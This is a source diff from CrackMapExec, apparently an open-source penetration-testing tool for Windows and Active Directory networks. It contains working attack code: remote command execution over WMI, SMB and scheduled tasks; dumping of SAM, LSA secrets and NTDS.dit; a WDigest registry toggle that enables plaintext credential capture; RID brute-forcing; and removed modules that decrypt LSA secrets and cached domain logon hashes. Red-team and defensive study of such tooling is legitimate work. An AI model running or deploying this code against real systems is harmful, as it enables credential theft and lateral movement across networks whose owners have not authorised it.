payload = self.args.execute
if not self.args.no_output: get_output = True
if self.args.mssql:
exec_method = MSSQLEXEC(self.conn)
logging.debug('Executed command via mssqlexec')
elif not self.args.mssql:
if not methods and not self.args.exec_method:
methods = default_methods
elif methods or self.args.exec_method:
if not methods:
methods = [self.args.exec_method]
for method in methods:
if method == 'wmiexec':
try:
exec_method = WMIEXEC(self.host, self.share_name, self.username, self.password, self.domain, self.conn, self.hash, self.args.share)
logging.debug('Executed command via wmiexec')
break
except:
logging.debug('Error executing command via wmiexec, traceback:')
logging.debug(format_exc())
continue
elif method == 'atexec':
try:
exec_method = TSCH_EXEC(self.host, self.share_name, self.username, self.password, self.domain, self.hash) #self.args.share)
logging.debug('Executed command via atexec')
break
except:
logging.debug('Error executing command via atexec, traceback:')
logging.debug(format_exc())
continue
elif method == 'smbexec':
try:
exec_method = SMBEXEC(self.host, self.share_name, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share)
logging.debug('Executed command via smbexec')
break
except:
logging.debug('Error executing command via smbexec, traceback:')
logging.debug(format_exc())
continue
if self.cmeserver: self.cmeserver.track_host(self.host)
output = u'{}'.format(exec_method.execute(payload, get_output).strip().decode('utf-8'))
if self.args.execute or self.args.ps_execute:
self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
buf = StringIO(output).readlines()
for line in buf:
self.logger.highlight(line.strip())
return output
@requires_admin
def ps_execute(self, payload=None, get_output=False, methods=None):
if not payload and self.args.ps_execute:
payload = self.args.ps_execute
if not self.args.no_output: get_output = True
return self.execute(create_ps_command(payload), get_output, methods)
@requires_admin
def sam(self):
return DumpSecrets(self).SAM_dump()
@requires_admin
def lsa(self):
return DumpSecrets(self).LSA_dump()
@requires_admin
def ntds(self):
#We could just return the whole NTDS.dit database but in large domains it would be huge and would take up too much memory
DumpSecrets(self).NTDS_dump(self.args.ntds, self.args.ntds_pwdLastSet, self.args.ntds_history)
@requires_admin
def wdigest(self):
return getattr(WDIGEST(self), self.args.wdigest)()
def shares(self):
return ShareEnum(self).enum()
@requires_admin
def uac(self):
return UAC(self).enum()
def sessions(self):
return RPCQUERY(self).enum_sessions()
def disks(self):
return RPCQUERY(self).enum_disks()
def users(self):
return SAMRDump(self).enum()
def rid_brute(self):
return LSALookupSid(self).brute_force()
def pass_pol(self):
return PassPolDump(self).enum()
def lusers(self):
return RPCQUERY(self).enum_lusers()
@requires_admin
def wmi(self):
return WMIQUERY(self).query()
def spider(self):
spider = SMBSpider(self)
spider.spider(self.args.spider, self.args.depth)
spider.finish()
return spider.results
def mssql_query(self):
self.conn.sql_query(self.args.mssql_query)
return conn.printRows()

6
cme/context.py Normal file → Executable file
View File

@ -4,7 +4,7 @@ from ConfigParser import ConfigParser
class Context:
def __init__(self, db, logger, arg_namespace):
def __init__(self, db, logger, args):
self.db = db
self.log = logger
self.log.debug = logging.debug
@ -13,5 +13,5 @@ class Context:
self.conf = ConfigParser()
self.conf.read(os.path.expanduser('~/.cme/cme.conf'))
for key, value in vars(arg_namespace).iteritems():
setattr(self, key, value)
for key, value in vars(args).iteritems():
setattr(self, key, value)

282
cme/crackmapexec.py Normal file → Executable file
View File

@ -6,179 +6,80 @@ monkey.patch_all()
from gevent.pool import Pool
from gevent import joinall
from argparse import RawTextHelpFormatter
from cme.connection import Connection
from cme.database import CMEDatabase
from cme.logger import setup_logger, setup_debug_logger, CMEAdapter
from cme.helpers import highlight, gen_random_string
from cme.helpers.misc import gen_random_string
from cme.targetparser import parse_targets
from cme.moduleloader import ModuleLoader
from cme.modulechainloader import ModuleChainLoader
from cme.cmesmbserver import CMESMBServer
from cme.cli import gen_cli_args
from cme.loaders.protocol_loader import protocol_loader
from cme.loaders.module_loader import module_loader
#from cme.modulechainloader import ModuleChainLoader
from cme.servers.http import CMEServer
from cme.servers.smb import CMESMBServer
from cme.first_run import first_run_setup
from cme.context import Context
from getpass import getuser
from pprint import pformat
from ConfigParser import ConfigParser
import cme
import webbrowser
import sqlite3
import argparse
import random
import os
import sys
import logging
def main():
VERSION = '3.1.5-dev'
CODENAME = '\'Stoofvlees\''
parser = argparse.ArgumentParser(description="""
______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______
/ || _ \ / \ / || |/ / | \/ | / \ | _ \ | ____|\ \ / / | ____| / |
| ,----'| |_) | / ^ \ | ,----'| ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,----'
| | | / / /_\ \ | | | < | |\/| | / /_\ \ | ___/ | __| > < | __| | |
| `----.| |\ \----. / _____ \ | `----.| . \ | | | | / _____ \ | | | |____ / . \ | |____ | `----.
\______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______|
Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r
Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino)
Inspired by:
@ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap
@gojhonny's CredCrack https://github.com/gojhonny/CredCrack
@pentestgeek's smbexec https://github.com/pentestgeek/smbexec
{}: {}
{}: {}
""".format(highlight('Version', 'red'),
highlight(VERSION),
highlight('Codename', 'red'),
highlight(CODENAME)),
formatter_class=RawTextHelpFormatter,
version='{} - {}'.format(VERSION, CODENAME),
epilog="What is it? It's a stew... But what is it? It's a stew...")
parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets")
parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (default: 100)")
parser.add_argument('-id', metavar="CRED_ID", nargs='+', default=[], type=str, dest='cred_id', help='Database credential ID(s) to use for authentication')
parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='+', default=[], help="Username(s) or file(s) containing usernames")
ddgroup = parser.add_mutually_exclusive_group()
ddgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="Domain name")
ddgroup.add_argument("--local-auth", action='store_true', help='Authenticate locally to each target')
msgroup = parser.add_mutually_exclusive_group()
msgroup.add_argument("-p", metavar="PASSWORD", dest='password', nargs= '+', default=[], help="Password(s) or file(s) containing passwords")
msgroup.add_argument("-H", metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
mcgroup = parser.add_mutually_exclusive_group()
mcgroup.add_argument("-M", "--module", metavar='MODULE', help='Payload module to use')
mcgroup.add_argument('-MC','--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run')
parser.add_argument('-o', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='Payload module options')
parser.add_argument('-L', '--list-modules', action='store_true', help='List available modules')
parser.add_argument('--show-options', action='store_true', help='Display module options')
parser.add_argument("--share", metavar="SHARE", default="C$", help="Specify a share (default: C$)")
parser.add_argument("--smb-port", type=int, choices={139, 445}, default=445, help="SMB port (default: 445)")
parser.add_argument("--mssql-port", default=1433, type=int, metavar='PORT', help='MSSQL port (default: 1433)')
parser.add_argument("--server", choices={'http', 'https'}, default='https', help='Use the selected server (default: https)')
parser.add_argument("--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)')
parser.add_argument("--server-port", metavar='PORT', type=int, help='Start the server on the specified port')
parser.add_argument("--timeout", default=20, type=int, help='Max timeout in seconds of each thread (default: 20)')
fail_group = parser.add_mutually_exclusive_group()
fail_group.add_argument("--gfail-limit", metavar='LIMIT', type=int, help='Max number of global failed login attempts')
fail_group.add_argument("--ufail-limit", metavar='LIMIT', type=int, help='Max number of failed login attempts per username')
fail_group.add_argument("--fail-limit", metavar='LIMIT', type=int, help='Max number of failed login attempts per host')
parser.add_argument("--verbose", action='store_true', help="Enable verbose output")
rgroup = parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
rgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems')
rgroup.add_argument("--lsa", action='store_true', help='Dump LSA secrets from target systems')
rgroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, help="Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)")
rgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
rgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')
rgroup.add_argument("--wdigest", choices={'enable', 'disable'}, help="Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1")
egroup = parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
egroup.add_argument("--shares", action="store_true", help="Enumerate shares and access")
egroup.add_argument('--uac', action='store_true', help='Checks UAC status')
egroup.add_argument("--sessions", action='store_true', help='Enumerate active sessions')
egroup.add_argument('--disks', action='store_true', help='Enumerate disks')
egroup.add_argument("--users", action='store_true', help='Enumerate users')
egroup.add_argument("--rid-brute", nargs='?', const=4000, metavar='MAX_RID', help='Enumerate users by bruteforcing RID\'s (default: 4000)')
egroup.add_argument("--pass-pol", action='store_true', help='Dump password policy')
egroup.add_argument("--lusers", action='store_true', help='Enumerate logged on users')
egroup.add_argument("--wmi", metavar='QUERY', type=str, help='Issues the specified WMI query')
egroup.add_argument("--wmi-namespace", metavar='NAMESPACE', default='//./root/cimv2', help='WMI Namespace (default: //./root/cimv2)')
sgroup = parser.add_argument_group("Spidering", "Options for spidering shares")
sgroup.add_argument("--spider", metavar='FOLDER', nargs='?', const='.', type=str, help='Folder to spider (default: root directory)')
sgroup.add_argument("--content", action='store_true', help='Enable file content searching')
sgroup.add_argument("--exclude-dirs", type=str, metavar='DIR_LIST', default='', help='Directories to exclude from spidering')
esgroup = sgroup.add_mutually_exclusive_group()
esgroup.add_argument("--pattern", nargs='+', help='Pattern(s) to search for in folders, filenames and file content')
esgroup.add_argument("--regex", nargs='+', help='Regex(s) to search for in folders, filenames and file content')
sgroup.add_argument("--depth", type=int, default=10, help='Spider recursion depth (default: 10)')
cgroup = parser.add_argument_group("Command Execution", "Options for executing commands")
cgroup.add_argument('--exec-method', choices={"wmiexec", "smbexec", "atexec"}, default=None, help="Method to execute the command. Ignored if in MSSQL mode (default: wmiexec)")
cgroup.add_argument('--force-ps32', action='store_true', help='Force the PowerShell command to run in a 32-bit process')
cgroup.add_argument('--no-output', action='store_true', help='Do not retrieve command output')
xxxgroup = cgroup.add_mutually_exclusive_group()
xxxgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="Execute the specified command")
xxxgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='Execute the specified PowerShell command')
mgroup = parser.add_argument_group("MSSQL Interaction", "Options for interacting with MSSQL DBs")
mgroup.add_argument("--mssql", action='store_true', help='Switches CME into MSSQL Mode. If credentials are provided will authenticate against all discovered MSSQL DBs')
mgroup.add_argument("--mssql-query", metavar='QUERY', type=str, help='Execute the specifed query against the MSSQL DB')
mgroup.add_argument("--mssql-auth", choices={'windows', 'normal'}, default='windows', help='MSSQL authentication type to use (default: windows)')
logger = CMEAdapter(setup_logger())
setup_logger()
logger = CMEAdapter()
first_run_setup(logger)
if len(sys.argv) == 1:
parser.print_help()
args = gen_cli_args()
if args.darrell:
links = open(os.path.join(os.path.dirname(cme.__file__), 'data', 'videos_for_darrel.txt')).read().splitlines()
try:
webbrowser.open(random.choice(links))
except:
print "Darrel wtf I'm trying to help you, here have a gorilla..."
sys.exit(1)
cme_path = os.path.expanduser('~/.cme')
module = None
chain_list = None
server = None
context = None
smb_server = None
share_name = gen_random_string(5).upper()
targets = []
config = ConfigParser()
config.read(os.path.join(cme_path, 'cme.conf'))
args = parser.parse_args()
#module = None
#chain_list = None
smb_share_name = gen_random_string(5).upper()
server_port_dict = {'http': 80, 'https': 443, 'smb': 445}
targets = []
current_workspace = config.get('CME', 'workspace')
if args.verbose:
setup_debug_logger()
logging.debug('Passed args:\n' + pformat(vars(args)))
db_path = os.path.join(cme_path, 'cme.db')
# set the database connection to autocommit w/ isolation level
db_connection = sqlite3.connect(db_path, check_same_thread=False)
db_connection.text_factory = str
db_connection.isolation_level = None
db = CMEDatabase(db_connection)
if args.username:
if hasattr(args, 'username') and args.username:
for user in args.username:
if os.path.exists(user):
args.username.remove(user)
args.username.append(open(user, 'r'))
if args.password:
if hasattr(args, 'password') and args.password:
for passw in args.password:
if os.path.exists(passw):
args.password.remove(passw)
args.password.append(open(passw, 'r'))
elif args.hash:
elif hasattr(args, 'hash') and args.hash:
for ntlm_hash in args.hash:
if os.path.exists(ntlm_hash):
args.hash.remove(ntlm_hash)
args.hash.append(open(ntlm_hash, 'r'))
if args.cred_id:
if hasattr(args, 'cred_id') and args.cred_id:
for cred_id in args.cred_id:
if '-' in str(cred_id):
start_id, end_id = cred_id.split('-')
@ -190,72 +91,95 @@ def main():
logger.error('Error parsing database credential id: {}'.format(e))
sys.exit(1)
for target in args.target:
if os.path.exists(target):
with open(target, 'r') as target_file:
for target_entry in target_file:
targets.extend(parse_targets(target_entry))
else:
targets.extend(parse_targets(target))
if hasattr(args, 'target') and args.target:
for target in args.target:
if os.path.exists(target):
with open(target, 'r') as target_file:
for target_entry in target_file:
targets.extend(parse_targets(target_entry))
else:
targets.extend(parse_targets(target))
if args.list_modules:
loader = ModuleLoader(args, db, logger)
modules = loader.get_modules()
smb_server = CMESMBServer(logger, smb_share_name, args.verbose)
smb_server.start()
for m in modules:
logger.info('{:<25} Chainable: {:<10} {}'.format(m, str(modules[m]['chain_support']), modules[m]['description']))
sys.exit(0)
p_loader = protocol_loader()
protocol_path = p_loader.get_protocols()[args.protocol]['path']
protocol_db_path = p_loader.get_protocols()[args.protocol]['dbpath']
elif args.module and args.show_options:
loader = ModuleLoader(args, db, logger)
modules = loader.get_modules()
protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol)
protocol_db_object = getattr(p_loader.load_protocol(protocol_db_path), 'database')
for m in modules.keys():
if args.module.lower() == m.lower():
logger.info('{} module options:\n{}'.format(m, modules[m]['options']))
sys.exit(0)
db_path = os.path.join(cme_path, 'workspaces', current_workspace, args.protocol + '.db')
# set the database connection to autocommit w/ isolation level
db_connection = sqlite3.connect(db_path, check_same_thread=False)
db_connection.text_factory = str
db_connection.isolation_level = None
db = protocol_db_object(db_connection)
if args.execute or args.ps_execute or args.module or args.module_chain:
setattr(protocol_object, 'smb_share_name', smb_share_name)
if os.geteuid() != 0:
logger.error("I'm sorry {}, I'm afraid I can't let you do that (cause I need root)".format(getuser()))
sys.exit(1)
if hasattr(args, 'module'): #or hasattr(args, 'module_chain'):
loader = ModuleLoader(args, db, logger)
modules = loader.get_modules()
loader = module_loader(args, db, logger)
smb_server = CMESMBServer(logger, share_name, args.verbose)
smb_server.start()
if args.list_modules:
modules = loader.get_modules()
if args.module:
for m in modules:
logger.info('{:<25} {}'.format(m, modules[m]['description']))
elif args.module and args.module_options:
modules = loader.get_modules()
for m in modules.keys():
if args.module.lower() == m.lower():
module, context, server = loader.init_module(modules[m]['path'])
elif args.module_chain:
chain_list, server = ModuleChainLoader(args, db, logger).init_module_chain()
logger.info('{} module options:\n{}'.format(m, modules[m]['options']))
elif args.module:
modules = loader.get_modules()
for m in modules.keys():
if args.module.lower() == m.lower():
module = loader.init_module(modules[m]['path'])
setattr(protocol_object, 'module', module)
break
if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
if hasattr(module, 'required_server'):
args.server = getattr(module, 'required_server')
if not args.server_port:
args.server_port = server_port_dict[args.server]
context = Context(db, logger, args)
server = CMEServer(module, context, logger, args.server_host, args.server_port, args.server)
server.start()
setattr(protocol_object, 'server', server.server)
try:
'''
Open all the greenlet (as supposed to redlet??) threads
Open all the greenlet (as supposed to redlet??) threads
Whoever came up with that name has a fetish for traffic lights
'''
pool = Pool(args.threads)
jobs = [pool.spawn(Connection, args, db, str(target), module, chain_list, server, share_name) for target in targets]
jobs = [pool.spawn(protocol_object, args, db, str(target)) for target in targets]
#Dumping the NTDS.DIT and/or spidering shares can take a long time, so we ignore the thread timeout
if args.ntds or args.spider:
joinall(jobs)
elif not args.ntds:
for job in jobs:
job.join(timeout=args.timeout)
#if args.ntds or args.spider:
# joinall(jobs)
#else:
for job in jobs:
job.join(timeout=args.timeout)
except KeyboardInterrupt:
pass
if server:
try:
server.shutdown()
except:
pass
if smb_server:
smb_server.shutdown()
smb_server.shutdown()
logger.info('KTHXBYE!')
print '\n'
logger.info('KTHXBYE!')

View File

@ -1,149 +0,0 @@
from impacket.structure import Structure
from struct import unpack
# Structures
# Taken from http://insecurety.net/?p=768
class SAM_KEY_DATA(Structure):
structure = (
('Revision','<L=0'),
('Length','<L=0'),
('Salt','16s=""'),
('Key','16s=""'),
('CheckSum','16s=""'),
('Reserved','<Q=0'),
)
class DOMAIN_ACCOUNT_F(Structure):
structure = (
('Revision','<L=0'),
('Unknown','<L=0'),
('CreationTime','<Q=0'),
('DomainModifiedCount','<Q=0'),
('MaxPasswordAge','<Q=0'),
('MinPasswordAge','<Q=0'),
('ForceLogoff','<Q=0'),
('LockoutDuration','<Q=0'),
('LockoutObservationWindow','<Q=0'),
('ModifiedCountAtLastPromotion','<Q=0'),
('NextRid','<L=0'),
('PasswordProperties','<L=0'),
('MinPasswordLength','<H=0'),
('PasswordHistoryLength','<H=0'),
('LockoutThreshold','<H=0'),
('Unknown2','<H=0'),
('ServerState','<L=0'),
('ServerRole','<H=0'),
('UasCompatibilityRequired','<H=0'),
('Unknown3','<Q=0'),
('Key0',':', SAM_KEY_DATA),
# Commenting this, not needed and not present on Windows 2000 SP0
# ('Key1',':', SAM_KEY_DATA),
# ('Unknown4','<L=0'),
)
# Great help from here http://www.beginningtoseethelight.org/ntsecurity/index.htm
class USER_ACCOUNT_V(Structure):
structure = (
('Unknown','12s=""'),
('NameOffset','<L=0'),
('NameLength','<L=0'),
('Unknown2','<L=0'),
('FullNameOffset','<L=0'),
('FullNameLength','<L=0'),
('Unknown3','<L=0'),
('CommentOffset','<L=0'),
('CommentLength','<L=0'),
('Unknown3','<L=0'),
('UserCommentOffset','<L=0'),
('UserCommentLength','<L=0'),
('Unknown4','<L=0'),
('Unknown5','12s=""'),
('HomeDirOffset','<L=0'),
('HomeDirLength','<L=0'),
('Unknown6','<L=0'),
('HomeDirConnectOffset','<L=0'),
('HomeDirConnectLength','<L=0'),
('Unknown7','<L=0'),
('ScriptPathOffset','<L=0'),
('ScriptPathLength','<L=0'),
('Unknown8','<L=0'),
('ProfilePathOffset','<L=0'),
('ProfilePathLength','<L=0'),
('Unknown9','<L=0'),
('WorkstationsOffset','<L=0'),
('WorkstationsLength','<L=0'),
('Unknown10','<L=0'),
('HoursAllowedOffset','<L=0'),
('HoursAllowedLength','<L=0'),
('Unknown11','<L=0'),
('Unknown12','12s=""'),
('LMHashOffset','<L=0'),
('LMHashLength','<L=0'),
('Unknown13','<L=0'),
('NTHashOffset','<L=0'),
('NTHashLength','<L=0'),
('Unknown14','<L=0'),
('Unknown15','24s=""'),
('Data',':=""'),
)
class NL_RECORD(Structure):
structure = (
('UserLength','<H=0'),
('DomainNameLength','<H=0'),
('EffectiveNameLength','<H=0'),
('FullNameLength','<H=0'),
('MetaData','52s=""'),
('FullDomainLength','<H=0'),
('Length2','<H=0'),
('CH','16s=""'),
('T','16s=""'),
('EncryptedData',':'),
)
class SAMR_RPC_SID_IDENTIFIER_AUTHORITY(Structure):
structure = (
('Value','6s'),
)
class SAMR_RPC_SID(Structure):
structure = (
('Revision','<B'),
('SubAuthorityCount','<B'),
('IdentifierAuthority',':',SAMR_RPC_SID_IDENTIFIER_AUTHORITY),
('SubLen','_-SubAuthority','self["SubAuthorityCount"]*4'),
('SubAuthority',':'),
)
def formatCanonical(self):
ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5]))
for i in range(self['SubAuthorityCount']):
ans += '-%d' % ( unpack('>L',self['SubAuthority'][i*4:i*4+4])[0])
return ans
class LSA_SECRET_BLOB(Structure):
structure = (
('Length','<L=0'),
('Unknown','12s=""'),
('_Secret','_-Secret','self["Length"]'),
('Secret',':'),
('Remaining',':'),
)
class LSA_SECRET(Structure):
structure = (
('Version','<L=0'),
('EncKeyID','16s=""'),
('EncAlgorithm','<L=0'),
('Flags','<L=0'),
('EncryptedData',':'),
)
class LSA_SECRET_XP(Structure):
structure = (
('Length','<L=0'),
('Version','<L=0'),
('_Secret','_-Secret', 'self["Length"]'),
('Secret', ':'),
)

View File

@ -1,32 +0,0 @@
from struct import pack
class CryptoCommon:
# Common crypto stuff used over different classes
def transformKey(self, InputKey):
# Section 2.2.11.1.2 Encrypting a 64-Bit Block with a 7-Byte Key
OutputKey = []
OutputKey.append( chr(ord(InputKey[0]) >> 0x01) )
OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) )
OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) )
OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) )
OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) )
OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) )
OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) )
OutputKey.append( chr(ord(InputKey[6]) & 0x7F) )
for i in range(8):
OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe)
return "".join(OutputKey)
def deriveKey(self, baseKey):
# 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key
# Let I be the little-endian, unsigned integer.
# Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes.
# Note that because I is in little-endian byte order, I[0] is the least significant byte.
# Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2].
# Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1]
key = pack('<L',baseKey)
key1 = key[0] + key[1] + key[2] + key[3] + key[0] + key[1] + key[2]
key2 = key[3] + key[0] + key[1] + key[2] + key[3] + key[0] + key[1]
return self.transformKey(key1),self.transformKey(key2)

View File

@ -1,321 +0,0 @@
from cme.credentials.offlineregistry import OfflineRegistry
from cme.credentials.cryptocommon import CryptoCommon
from cme.credentials.commonstructs import LSA_SECRET, LSA_SECRET_BLOB, NL_RECORD, LSA_SECRET_XP
from impacket import ntlm
from impacket.winregistry import hexdump
from Crypto.Cipher import AES, DES, ARC4
from Crypto.Hash import MD4
from binascii import hexlify
import logging
import ntpath
import hashlib
import codecs
from struct import unpack
import hmac as HMAC
class LSASecrets(OfflineRegistry):
def __init__(self, securityFile, bootKey, logger, remoteOps = None, isRemote = False):
OfflineRegistry.__init__(self,securityFile, isRemote)
self.__hashedBootKey = ''
self.__bootKey = bootKey
self.__LSAKey = ''
self.__NKLMKey = ''
self.__isRemote = isRemote
self.__vistaStyle = True
self.__cryptoCommon = CryptoCommon()
self.__securityFile = securityFile
self.__logger = logger
self.__remoteOps = remoteOps
self.__cachedItems = []
self.__secretItems = []
def MD5(self, data):
md5 = hashlib.new('md5')
md5.update(data)
return md5.digest()
def __sha256(self, key, value, rounds=1000):
sha = hashlib.sha256()
sha.update(key)
for i in range(1000):
sha.update(value)
return sha.digest()
def __decryptAES(self, key, value, iv='\x00'*16):
plainText = ''
if iv != '\x00'*16:
aes256 = AES.new(key,AES.MODE_CBC, iv)
for index in range(0, len(value), 16):
if iv == '\x00'*16:
aes256 = AES.new(key,AES.MODE_CBC, iv)
cipherBuffer = value[index:index+16]
# Pad buffer to 16 bytes
if len(cipherBuffer) < 16:
cipherBuffer += '\x00' * (16-len(cipherBuffer))
plainText += aes256.decrypt(cipherBuffer)
return plainText
def __decryptSecret(self, key, value):
# [MS-LSAD] Section 5.1.2
plainText = ''
encryptedSecretSize = unpack('<I', value[:4])[0]
value = value[len(value)-encryptedSecretSize:]
key0 = key
for i in range(0, len(value), 8):
cipherText = value[:8]
tmpStrKey = key0[:7]
tmpKey = self.__cryptoCommon.transformKey(tmpStrKey)
Crypt1 = DES.new(tmpKey, DES.MODE_ECB)
plainText += Crypt1.decrypt(cipherText)
key0 = key0[7:]
value = value[8:]
# AdvanceKey
if len(key0) < 7:
key0 = key[len(key0):]
secret = LSA_SECRET_XP(plainText)
return secret['Secret']
def __decryptHash(self, key, value, iv):
hmac_md5 = HMAC.new(key,iv)
rc4key = hmac_md5.digest()
rc4 = ARC4.new(rc4key)
data = rc4.encrypt(value)
return data
def __decryptLSA(self, value):
if self.__vistaStyle is True:
# ToDo: There could be more than one LSA Keys
record = LSA_SECRET(value)
tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32])
plainText = self.__decryptAES(tmpKey, record['EncryptedData'][32:])
record = LSA_SECRET_BLOB(plainText)
self.__LSAKey = record['Secret'][52:][:32]
else:
md5 = hashlib.new('md5')
md5.update(self.__bootKey)
for i in range(1000):
md5.update(value[60:76])
tmpKey = md5.digest()
rc4 = ARC4.new(tmpKey)
plainText = rc4.decrypt(value[12:60])
self.__LSAKey = plainText[0x10:0x20]
def __getLSASecretKey(self):
logging.debug('Decrypting LSA Key')
# Let's try the key post XP
value = self.getValue('\\Policy\\PolEKList\\default')
if value is None:
logging.debug('PolEKList not found, trying PolSecretEncryptionKey')
# Second chance
value = self.getValue('\\Policy\\PolSecretEncryptionKey\\default')
self.__vistaStyle = False
if value is None:
# No way :(
return None
self.__decryptLSA(value[1])
def __getNLKMSecret(self):
logging.debug('Decrypting NL$KM')
value = self.getValue('\\Policy\\Secrets\\NL$KM\\CurrVal\\default')
if value is None:
raise Exception("Couldn't get NL$KM value")
if self.__vistaStyle is True:
record = LSA_SECRET(value[1])
tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
self.__NKLMKey = self.__decryptAES(tmpKey, record['EncryptedData'][32:])
else:
self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1])
def __pad(self, data):
if (data & 0x3) > 0:
return data + (data & 0x3)
else:
return data
def dumpCachedHashes(self):
if self.__securityFile is None:
# No SECURITY file provided
return
self.__logger.success('Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)')
# Let's first see if there are cached entries
values = self.enumValues('\\Cache')
if values is None:
# No cache entries
return
try:
# Remove unnecesary value
values.remove('NL$Control')
except:
pass
self.__getLSASecretKey()
self.__getNLKMSecret()
for value in values:
logging.debug('Looking into %s' % value)
record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value))[1])
if record['CH'] != 16 * '\x00':
if self.__vistaStyle is True:
plainText = self.__decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['CH'])
else:
plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['CH'])
pass
encHash = plainText[:0x10]
plainText = plainText[0x48:]
userName = plainText[:record['UserLength']].decode('utf-16le')
plainText = plainText[self.__pad(record['UserLength']):]
domain = plainText[:record['DomainNameLength']].decode('utf-16le')
plainText = plainText[self.__pad(record['DomainNameLength']):]
domainLong = plainText[:self.__pad(record['FullDomainLength'])].decode('utf-16le')
answer = "%s:%s:%s:%s:::" % (userName, hexlify(encHash), domainLong, domain)
self.__cachedItems.append(answer)
self.__logger.highlight(answer)
return self.__cachedItems
def __printSecret(self, name, secretItem):
# Based on [MS-LSAD] section 3.1.1.4
# First off, let's discard NULL secrets.
if len(secretItem) == 0:
logging.debug('Discarding secret %s, NULL Data' % name)
return
# We might have secrets with zero
if secretItem.startswith('\x00\x00'):
logging.debug('Discarding secret %s, all zeros' % name)
return
upperName = name.upper()
logging.info('%s ' % name)
secret = ''
if upperName.startswith('_SC_'):
# Service name, a password might be there
# Let's first try to decode the secret
try:
strDecoded = secretItem.decode('utf-16le')
except:
pass
else:
# We have to get the account the service
# runs under
if self.__isRemote is True:
account = self.__remoteOps.getServiceAccount(name[4:])
if account is None:
secret = '(Unknown User):'
else:
secret = "%s:" % account
else:
# We don't support getting this info for local targets at the moment
secret = '(Unknown User):'
secret += strDecoded
elif upperName.startswith('DEFAULTPASSWORD'):
# defaults password for winlogon
# Let's first try to decode the secret
try:
strDecoded = secretItem.decode('utf-16le')
except:
pass
else:
# We have to get the account this password is for
if self.__isRemote is True:
account = self.__remoteOps.getDefaultLoginAccount()
if account is None:
secret = '(Unknown User):'
else:
secret = "%s:" % account
else:
# We don't support getting this info for local targets at the moment
secret = '(Unknown User):'
secret += strDecoded
elif upperName.startswith('ASPNET_WP_PASSWORD'):
try:
strDecoded = secretItem.decode('utf-16le')
except:
pass
else:
secret = 'ASPNET: %s' % strDecoded
elif upperName.startswith('$MACHINE.ACC'):
# compute MD4 of the secret.. yes.. that is the nthash? :-o
md4 = MD4.new()
md4.update(secretItem)
if self.__isRemote is True:
machine, domain = self.__remoteOps.getMachineNameAndDomain()
secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest()))
else:
secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest()))
if secret != '':
self.__secretItems.append(secret)
self.__logger.highlight(secret)
else:
# Default print, hexdump
self.__secretItems.append('%s:%s' % (name, hexlify(secretItem)))
self.__logger.highlight('{}:{}'.format(name, hexlify(secretItem)))
#hexdump(secretItem)
def dumpSecrets(self):
if self.__securityFile is None:
# No SECURITY file provided
return
self.__logger.success('Dumping LSA Secrets')
# Let's first see if there are cached entries
keys = self.enumKey('\\Policy\\Secrets')
if keys is None:
# No entries
return
try:
# Remove unnecesary value
keys.remove('NL$Control')
except:
pass
if self.__LSAKey == '':
self.__getLSASecretKey()
for key in keys:
logging.debug('Looking into %s' % key)
